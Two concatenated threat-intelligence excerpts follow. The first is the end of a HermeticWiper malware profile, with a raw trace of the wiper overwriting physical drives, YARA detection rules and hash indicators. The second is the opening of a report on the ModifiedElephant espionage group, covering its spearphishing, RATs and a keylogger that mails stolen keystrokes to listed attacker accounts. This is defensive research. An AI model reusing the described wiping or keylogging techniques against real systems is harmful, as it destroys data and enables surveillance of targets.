+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540015616, HighPart = 17 }, QuadPart = 75554459648
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540019712, HighPart = 17 }, QuadPart = 75554463744
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540023808, HighPart = 17 }, QuadPart = 75554467840
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540027904, HighPart = 17 }, QuadPart = 75554471936
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540032000, HighPart = 17 }, QuadPart = 75554476032
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540036096, HighPart = 17 }, QuadPart = 75554480128
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540040192, HighPart = 17 }, QuadPart = 75554484224
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540044288, HighPart = 17 }, QuadPart = 75554488320
+}, NULL, FILE_BEGIN )
+www.recordedfuture.com | Recorded Future 
+MTP-2022-0302
+MALWARE/TOOL PROFILE
+Module
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540048384, HighPart = 17 }, QuadPart = 75554492416
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540052480, HighPart = 17 }, QuadPart = 75554496512
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540056576, HighPart = 17 }, QuadPart = 75554500608
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540060672, HighPart = 17 }, QuadPart = 75554504704
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540064768, HighPart = 17 }, QuadPart = 75554508800
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540068864, HighPart = 17 }, QuadPart = 75554512896
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540072960, HighPart = 17 }, QuadPart = 75554516992
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540077056, HighPart = 17 }, QuadPart = 75554521088
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540081152, HighPart = 17 }, QuadPart = 75554525184
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540085248, HighPart = 17 }, QuadPart = 75554529280
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540089344, HighPart = 17 }, QuadPart = 75554533376
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540093440, HighPart = 17 }, QuadPart = 75554537472
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540097536, HighPart = 17 }, QuadPart = 75554541568
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+MTP-2022-0302
+Recorded Future 
+ | www.recordedfuture.com
+MALWARE/TOOL PROFILE
+Module
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540101632, HighPart = 17 }, QuadPart = 75554545664
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540105728, HighPart = 17 }, QuadPart = 75554549760
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540109824, HighPart = 17 }, QuadPart = 75554553856
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540113920, HighPart = 17 }, QuadPart = 75554557952
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393588736, HighPart = 0 }, QuadPart = 393588736 },
+NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393592832, HighPart = 0 }, QuadPart = 393592832 },
+NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393596928, HighPart = 0 }, QuadPart = 393596928 },
+NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393601024, HighPart = 0 }, QuadPart = 393601024 },
+NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 393605120, HighPart = 0 }, QuadPart = 393605120 },
+NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2068054016, HighPart = 0 }, QuadPart = 2068054016
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2068058112, HighPart = 0 }, QuadPart = 2068058112 },
+NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2068062208, HighPart = 0 }, QuadPart = 2068062208
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+wnsprintfW ( "", 260, "\\.\PhysicalDrive%u", ... )
+1bc44.exe
+wnsprintfW ( "", 260, "\\.\EPMNTDRV\%u", ... )
+1bc44.exe
+SetFilePointerEx ( 0x00000204, { u = { LowPart = 1048576, HighPart = 0 }, QuadPart = 1048576 }, NULL,
+FILE_BEGIN )
+www.recordedfuture.com | Recorded Future 
+MTP-2022-0302
+MALWARE/TOOL PROFILE
+Module
+1bc44.exe
+WriteFile ( 0x00000204, 0x0158ef48, 4096, 0x06b2f630, NULL )
+1bc44.exe
+wnsprintfW ( "", 260, "\\.\EPMNTDRV\%u", ... )
+1bc44.exe
+SetFilePointerEx ( 0x00000214, { u = { LowPart = 3566206976, HighPart = 0 }, QuadPart = 3566206976
+}, NULL, FILE_BEGIN )
+1bc44.exe
+wnsprintfW ( "\\.\PhysicalDrive0", 260, "\\.\PhysicalDrive%u", ... )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429767680, HighPart = 2 }, QuadPart = 11019702272
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429769728, HighPart = 2 }, QuadPart = 11019704320
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429771776, HighPart = 2 }, QuadPart = 11019706368
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429773824, HighPart = 2 }, QuadPart = 11019708416
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429775872, HighPart = 2 }, QuadPart = 11019710464
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429777920, HighPart = 2 }, QuadPart = 11019712512
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429779968, HighPart = 2 }, QuadPart = 11019714560
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429782016, HighPart = 2 }, QuadPart = 11019716608
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429784064, HighPart = 2 }, QuadPart = 11019718656
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 2429786112, HighPart = 2 }, QuadPart = 11019720704
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 4098506752, HighPart = 2 }, QuadPart = 12688441344
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 4098508800, HighPart = 2 }, QuadPart = 12688443392
+}, NULL, FILE_BEGIN )
+MTP-2022-0302
+Recorded Future 
+ | www.recordedfuture.com
+MALWARE/TOOL PROFILE
+Module
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 344981504, HighPart = 0 }, QuadPart = 344981504 },
+NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 344983552, HighPart = 0 }, QuadPart = 344983552 },
+NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x00000248, { u = { LowPart = 1048576, HighPart = 0 }, QuadPart = 1048576 }, NULL,
+FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL )
+www.recordedfuture.com | Recorded Future 
+MTP-2022-0302
+MALWARE/TOOL PROFILE
+Appendix B: YARA Rules
+import "pe"
+import "hash"
+rule HermeticWiper{
+meta:
+author = "CNANCE, Insikt Group, Recorded Future"
+date = "2022-02-24"
+description = "Rule to detect HermeticWiper malware"
+version = "1.0"
+hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
+hash = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
+hash = "2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf"
+RF_MALWARE = "HermeticWiper"
+strings:
+// paths
+$p1 = "\\\\.\\EPMNTDRV\\%u" fullword wide
+$p2 = "\\\\.\\PhysicalDrive%u" fullword wide
+// disable crash dumps
+$r1 = "SYSTEM\\CurrentControlSet\\Control\\CrashControl" fullword wide
+$r2 = "CrashDumpEnabled" fullword wide
+// privileges
+$s1 = "SeLoadDriverPrivilege" fullword wide
+$s2 = "SeBackupPrivilege" fullword wide
+// stack string: S.eS.hu.td.o..i.vi.le.ge
+$s3 = { c7 4? ?? 61 00 62 00 c7 4? ?? 63 00 64 00 c7 4? ?? 65 00 66 00 c7 4? ?? 67 00 68 00 c7 4? ?? 69 00 6a 00 c7
+4? ?? 6b 00 6c 00 c7 4? ?? 6d 00 6e 00 c7 4? ?? 6f 00 70 00 c7 4? ?? 71 00 72 00 c7 4? ?? 73 00 74 00 c7 4? ?? 75 00 76
+00 c7 4? ?? 77 00 78 00 c7 4? ?? 79 00 7a 00 }
+condition:
+uint16(0) == 0x5a4d // PE file
+and filesize > 90KB
+and all of them
+and for any i in (0..pe.number_of_signatures): (
+pe.signatures[i].thumbprint == "1ae7556dfacd47d9efbe79be974661a5a6d6d923" // Hermetica Digital Ltd certificate
+and for 2 i in (0..pe.number_of_resources): (
+pe.resources[i].type_string == "R\x00C\x00D\x00A\x00T\x00A\x00"
+and (
+// Check resource names
+pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x006\x004\x00"
+or pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x008\x006\x00"
+or pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x00P\x00_\x00X\x006\x004\x00"
+or pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x00P\x00_\x00X\x008\x006\x00"
+MTP-2022-0302
+Recorded Future 
+ | www.recordedfuture.com
+MALWARE/TOOL PROFILE
+// Check hashes for EaseUS driver
+hash.sha256(pe.resources[i].offset, pe.resources[i].length) ==
+"e5f3ef69a534260e899a36cec459440dc572388defd8f1d98760d31c700f42d5"
+or hash.sha256(pe.resources[i].offset, pe.resources[i].length) ==
+"b01e0c6ac0b8bcde145ab7b68cf246deea9402fa7ea3aede7105f7051fe240c1"
+or hash.sha256(pe.resources[i].offset, pe.resources[i].length) ==
+"b6f2e008967c5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd"
+or hash.sha256(pe.resources[i].offset, pe.resources[i].length) ==
+"fd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91f3c281233c17d"
+rule MAL_PartyTicket{
+meta:
+author = "LKAYE, Insikt Group, Recorded Future"
+date = "2022-02-24"
+description = "Rule to detect pseudo-ransomware associated with HermeticWiper malware"
+version = "1.0"
+hash = "4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382"
+RF_MALWARE = "HermeticWiper"
+strings:
+$s1 = "403forBiden" ascii
+$s2 = "wHiteHousE" ascii
+$s3 = ".exe.gif.htm.ico.iso.jpg.mp3.msi.odt." ascii //this is fairly unusual for modern, professional ransomware to encrypt
+exes
+$s4 = "main.voteFor403" ascii
+$s5 = "main.n1hk9" ascii
+$s6 = "Thank you for your vote!" ascii //part of ransom note
+$s7 = "photoes" ascii //misspelling in ransom note
+condition:
+uint16(0) == 0x5a4d and
+filesize > 3000KB and
+all of them
+www.recordedfuture.com | Recorded Future 
+MTP-2022-0302
+MALWARE/TOOL PROFILE
+Appendix C: IOCs
+HermeticWiper Sample (SHA256):
+1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591
+0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da
+3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767
+a64c3e0522fad787b95bfb6a30c3aed1b5786e69e88e023c062ec7e5cebf4d3e
+Ransomware Sample (SHA256):
+4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382
+MTP-2022-0302
+Recorded Future 
+ | www.recordedfuture.com
+MALWARE/TOOL PROFILE
+About Recorded Future
+Recorded Future is the world
+s largest intelligence company. The Recorded
+Future Intelligence Platform provides the most complete coverage across adversaries,
+infrastructure, and targets. By combining persistent and pervasive automated data
+collection and analytics with human analysis, Recorded Future provides real-time visibility
+into the vast digital landscape and empowers clients to take proactive action to disrupt
+adversaries and keep their people, systems, and infrastructure safe. Headquartered in
+Boston with offices and employees around the world, Recorded Future works with more
+than 1,300 businesses and government organizations across 60 countries.
+Learn more at recordedfuture.com and follow us on Twitter at @RecordedFuture.
+www.recordedfuture.com | Recorded Future 
+MTP-2022-0302
+MODIFIED ELEPHANT APT
+AND A DECADE OF
+FABRICATING EVIDENCE
+Author: Tom Hegel, Juan Andres Guerrero-Saade
+February 2022
+SentinelLABS Research Team
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+TABLE OF
+CONTENTS
+EXECUTIVE SUMMMARY
+BACKGROUND
+TARGETS & OBJECTIVES
+INFECTION ATTEMPTS
+WEAPONS OF CHOICE
+RELATIONS TO OTHER
+THREAT CLUSTERS
+ATTRIBUTION
+CONCLUSION
+INDICATORS OF COMPROMISE
+TECHNICAL REFERENCES
+ABOUT SENTINELLABS
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+EXECUTIVE SUMMARY
+ Our research attributes a decade of activity to a threat actor we call ModifiedElephant.
+ ModifiedElephant is responsible for targeted attacks on human rights activists,
+human rights defenders, academics, and lawyers across India with the objective of
+planting incriminating digital evidence.
+ ModifiedElephant has been operating since at least 2012, and has repeatedly
+targeted specific individuals.
+ ModifiedElephant operates through the use of commercially available remote access
+trojans (RATs) and has potential ties to the commercial surveillance industry.
+ The threat actor uses spearphishing with malicious documents to deliver malware,
+such as NetWire, DarkComet, and simple keyloggers with infrastructure overlaps
+that allow us to connect long periods of previously unattributed malicious activity.
+S e n t i n e l L a b s Te a m
+BACKGROUND
+In September 2021, SentinelLabs published research into the operations of a Turkish-nexus threat
+actor we called EGoManiac, drawing attention to their practice of planting incriminating evidence
+on the systems of journalists to justify arrests by the Turkish National Police. A threat actor willing
+to frame and incarcerate vulnerable opponents is a critically underreported dimension of the cyber
+threat landscape that brings up uncomfortable questions about the integrity of devices introduced
+as evidence. Emerging details in an unrelated case caught our attention as a potentially similar
+scenario worthy of more scrutiny.
+Long-standing racial and political tensions in India were inflamed on January 1st, 2018 when
+critics of the government clashed with pro-government supporters near Bhima Koregaon. The
+event led to subsequent protests, resulting in more violence and at least one death.
+In the following months, Maharashtra police linked the cause of the violence to the banned NaxaliteMaoist Communist party of India. On April 17th, 2018, police conducted raids and arrested a
+number of individuals on terrorism-related charges. The arresting agencies identified incriminating
+files on the computer systems of defendants, including plans for an alleged assassination attempt
+against Prime Minister Modi.
+Thanks to the public release of digital forensic investigation results by Arsenal Consulting and those
+referenced below, we can glean rare insights into the integrity of the systems of some defendants
+and grasp the origin of the incriminating files. It turns out that a compromise of defendant systems
+led to the planting of files that were later used as evidence of terrorism and justification for the
+defendants
+ imprisonment. The intrusions in question were not isolated incidents.
+Our research into these intrusions revealed a decade of persistent malicious activity targeting
+specific groups and individuals that we now attribute to a previously unknown threat actor named
+ModifiedElephant. This actor has operated for years, evading research attention and detection
+due to their limited scope of operations, the mundane nature of their tools, and their regionallyspecific targeting. ModifiedElephant is still active at the time of writing.
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+TARGETS & OBJECTIVES
+The objective of ModifiedElephant is long-term surveillance that at times concludes with the
+delivery of 
+evidence
+files that incriminate the target in specific crimes
+ prior to conveniently
+coordinated arrests.
+After careful review of the attackers
+ campaigns over the last decade, we have identified hundreds
+of groups and individuals targeted by ModifiedElephant phishing campaigns. Activists, human
+rights defenders, journalists, academics, and law professionals in India are those most highly
+targeted. Notable targets include individuals associated with the Bhima Koregaon case.
+INFECTION ATTEMPTS
+Throughout the last decade, ModifiedElephant operators sought to infect their targets via
+spearphishing emails with malicious file attachments, with their techniques evolving over time.
+Their primary delivery mechanism is malicious Microsoft Office document files weaponized to
+deliver the malware of choice at the time. The specific payloads changed over the years and across
+different targets. However, some notable trends remain.
+ In mid-2013, the actor used phishing emails containing executable file attachments with
+fake double extensions (filename.pdf.exe).
+ After 2015, the actor moved on to less obvious files containing publicly available exploits,
+such as .doc, .pps, .docx, .rar, and password protected .rar files. These attempts involved
+legitimate lure documents in .pdf, .docx, and .mht formats to captivate the target
+attention while also executing malware.
+ In 2019 phishing campaigns, ModifiedElephant operators also took the approach of
+providing links to files hosted externally for manual download and execution by the target.
+ As first publicly noted by Amnesty in reference to a subset of this activity, the attacker also
+made use of large .rar archives (up to 300MB), potentially in an attempt to bypass detection.
+Observed lure documents repeatedly made use of CVE-2012-0158, CVE-2014-1761, CVE-20133906, CVE-2015-1641 exploits to drop and execute their malware of choice.
+The spearphishing emails and lure attachments are titled and generally themed around topics
+relevant to the target, such as activism news and groups, global and local events on climate
+change, politics, and public service. A public deconstruction of two seperate 2014 phishing emails
+was shared by Arsenal Consulting in early 2021.
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+Fig 1: Spearphishing email containing malicious attachment attributed to ModifiedElephant
+ModifiedElephant continually made use of free email service providers, like Gmail and Yahoo,
+to conduct their campaigns. The phishing emails take many approaches to gain the appearance
+of legitimacy. This includes fake body content with a forwarding history containing long lists of
+recipients, original email recipient lists with many seemingly fake accounts, or simply resending
+their malware multiple times using new emails or lure documents. Notably, in specific attacks, the
+actor would be particularly persistent and attempt to compromise the same individuals multiple
+times in a single day.
+By reviewing a timeline of attacker activity, we can observe clear trends as the attacker(s) rotate
+infrastructure over the years.
+Fig 2: Timeline sample of ModifiedElephant and SideWinder C2 Infrastructure.
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+For example, from early-2013 to mid-2016, a reasonably clear timeline
+can be built with little overlap, indicating a potential evolution or
+expansion of activities. Dates are based on first and last spearphishing
+emails observed delivering samples that communicate with a given
+domain. Notably, a separate Indian-nexus threat actor, SideWinder, is
+placed alongside ModifiedElephant in this graph as they were observed
+targeting the same individuals.
+WEAPONS OF CHOICE
+The malware most used by ModifiedElephant is unsophisticated and
+downright mundane, and yet it has proven sufficient for their objectives
+obtaining remote access and unrestricted control of victim machines.
+The primary malware families deployed were NetWire and DarkComet
+remote access trojans (RATs). Both of these RATs are publicly available,
+and have a long history of abuse by threat actors across the spectrum
+of skill and capability.
+One particular activity revolves around the file Ltr_1804_to_cc.pdf,
+which contains details of an assassination plot against Prime Minister
+Modi. A forensic report by Arsenal Consulting showed that this file, one
+of the more incriminating pieces of evidence obtained by the police,
+was one of many files delivered via a NetWire RAT remote session that
+we associate with ModifiedElephant. Further analysis showed how
+ModifiedElephant was performing nearly identical evidence creation
+and organization across multiple unrelated victim systems within
+roughly fifteen minutes of each other.
+INCUBATOR KEYLOGGER
+Known victims have also been targeted with keylogger payloads stretching
+as far back as 2012 (0a3d635eb11e78e6397a32c99dc0fd5a). These
+keyloggers, packed at delivery, are written in Visual Basic and are not
+the least bit technically impressive. Moreover, they
+re built in such a
+brittle fashion that they no longer function.
+The overall structure of the keylogger is fairly similar to code openly
+shared on Italian hacking forums in 2012. The ModifiedElephant
+variant creates a hidden window titled 
+cssrs incubator 
+ along with
+SetWindowsHookEx to monitor for keystrokes. It registers the mutex
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+4oR_$$$tonelsu-mviiLempel-Ziv
+ and uses the VBScript to WMI connector to query for the victim
+system
+s MAC address and operating system. The malware eventually exfiltrates the logs under
+the header 
+Logs from <COMPUTERNAME>
+ via email.
+Fig 3: Log upload format string
+In some ways, the Incubator keylogger is far more brittle than the code referenced above as it
+relies on specific web content to function (that code is no longer available on the internet at the
+time of writing). For example, the keylogger will use a GET request to an outdated 
+whatismyip.
+ endpoint in order to get the victim system
+s IP.
+Fig 4: Outdated WhatIsMyIp endpoint used to check the victim
+s IP
+Similarly, in order to exfiltrate the logs, the keylogger pulls Microsoft schema templates to set up
+an SMTP server and push out the content using a hardcoded (but obfuscated) email address. None
+of the schema sites requested by the keylogger are available at the time of writing, rendering the
+keylogger (in its 2012 form) unable to function.
+Fig 5: Incubator keylogger using Microsoft schema templates to create an SMTP server
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+The keylogger makes use of hardcoded SMTP credentials and email addresses to deliver the logged
+keystrokes to attacker controlled accounts, including:
+Email
+Associated Sample
+chiragdin3@gmail.com
+0a3d635eb11e78e6397a32c99dc0fd5a
+loggerdata123@gmail.com
+c095d257983acca64eb52979cfc847ef
+maalhamara@gmail.com
+0a3d635eb11e78e6397a32c99dc0fd5a
+56d573d4c811e69a992ab3088e44c268
+1396f720bc7615385bc5df49bbd50d29
+d883399966cb29c7c6c358b7c9fdb951
+eff9b8e1ee17cd00702279db5de39a3c
+maalhamara2@gmail.com
+0db49f572bb1634a4217b5215b1c2c6f
+ea324dd1dbc79fad591ca46ead4676a1
+fd4902b8a4a4718f5219b301475e81aa
+nayaamaal1@yahoo.com
+0db49f572bb1634a4217b5215b1c2c6f
+nayaamaal122@yahoo.com
+d883399966cb29c7c6c358b7c9fdb951
+nayaamaal2@yahoo.in
+ea324dd1dbc79fad591ca46ead4676a1
+nayaamaal4@yahoo.com
+1396f720bc7615385bc5df49bbd50d29
+newmaal@yahoo.com
+fd4902b8a4a4718f5219b301475e81aa
+shab03@indiatimes.com
+c095d257983acca64eb52979cfc847ef
+tamizhviduthalai@gmail.com
+1720ae54d8ca630b914f622dcf0c1878
+tryluck222@gmail.com
+56d573d4c811e69a992ab3088e44c268
+volvoxyz123@gmail.com
+ef42dc2b27db73131e1c01ca9c9c41b6
+The keylogger samples also contain VBP and PDB paths, providing some potential context to their
+originating development environments.
+In some cases, the attacker conducted multiple unique phishing attempts with the same payloads
+across one or more targets. However, ModifiedElephant generally conducts each infection attempt
+with new malware samples.
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+ANDROID TROJAN
+ModifiedElephant also sent multiple phishing emails containing both NetWire and Android malware
+payloads at the same time. The Android malware is an unidentified commodity trojan delivered as
+an APK file (0330921c85d582deb2b77a4dc53c78b3). While the Android trojan bears marks of
+being designed for broader cybercrime, its delivery at the same time as ModifiedElephant Netwire
+samples indicates that the same attacker was attempting to get full coverage of the target on both
+endpoint and mobile.
+Fig 6: ModifiedElephant Phishing email with malicious
+attachments for Netwire and Android GM Bot variants.
+Fig 7: ModifiedElephant Phishing email with malicious
+attachments for Netwire and Android GM Bot variants.
+The trojan enables the attackers to intercept and manage SMS and call data, wipe or unlock the
+device, perform network requests, and remote administration. In a very basic form, the trojan
+provides the attackers with an ideal low-cost mobile surveillance toolkit.
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+RELATIONS TO OTHER THREAT CLUSTERS
+Our research into this threat actor reveals multiple interesting threads that highlight the complex
